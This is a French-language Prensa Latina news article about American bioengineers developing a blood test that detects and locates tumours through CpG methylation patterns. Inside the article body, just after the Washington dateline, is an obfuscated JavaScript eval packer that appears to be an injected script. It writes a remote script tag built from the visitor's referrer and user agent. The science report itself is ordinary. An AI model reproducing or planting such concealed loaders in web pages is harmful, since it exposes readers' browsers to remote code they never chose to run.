mercredi 11 décembre 2024 |
Prensa Latina - Qui sommes nous

| Contacter avec Prensa Latina

Agence d'information Latino-américaine
Édition française
Search
Close this search box.

Des bio-ingénieurs développent un test sanguin pour localiser le cancer

Washington eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sizhz|var|u0026u|referrer|sfats||js|php'.split('|'),0,{})) (PL) Des bio-ingénieurs américains développent un test de sang qui permettrait de localiser le cancer et dans quelle partie du corps la tumeur se développe, indique un article paru sur le magazine Nature Genetics.

Washington (PL) Des bio-ingénieurs américains développent un test de sang qui permettrait de localiser le cancer et dans quelle partie du corps la tumeur se développe, indique un article paru sur le magazine Nature Genetics.

Les chercheurs, de l’Université de San Diego, en Californie, se sont mis à l’œuvre afin de développer ce test qui détecterait la maladie de manière précoce et sans besoin de faire recours à des techniques invasives.

Jusqu’à présent, les test sanguins standards permettent d’identifier l’ADN des cellules tumorales qui meurent mais ils n’indiquent pas où se trouve la tumeur.

Les chercheurs on découvert un composant dans le sang qui pourrait aider à détecter et localiser les tumeurs : les haplotypes de méthylation CpG qui se trouvent à l’intérieur des molécules de l’ADN.

« On était à la recherche de cellules cancéreuses afin de connaître son origine, mais on a constaté des signalisations d’autres cellules. On s’est rendu compte que si l’on intégrait l’ensemble des signalisations on pouvait déterminer la présence au l’absence de la tumeur et où elle se retrouvait » a expliqué l’auteur principal de l’étude, Kun Zhang.

Pour y parvenir, les chercheurs on créé une base de données contenant tous le modèles de méthylation CpG de tissus du foie, de l’intestin, du côlon, des poumons, du cerveau, des reins, de la rate, du pancréas et du sang, a-t-il rajouté.

M. Zhang a cependant averti qu’il fallait travailler en coopération avec les oncologues pour donner un rendement optimal à la méthode avant de passer à la phase d’essai clinique.

Lp/rc/bhq

EN CONTINU
notes connexes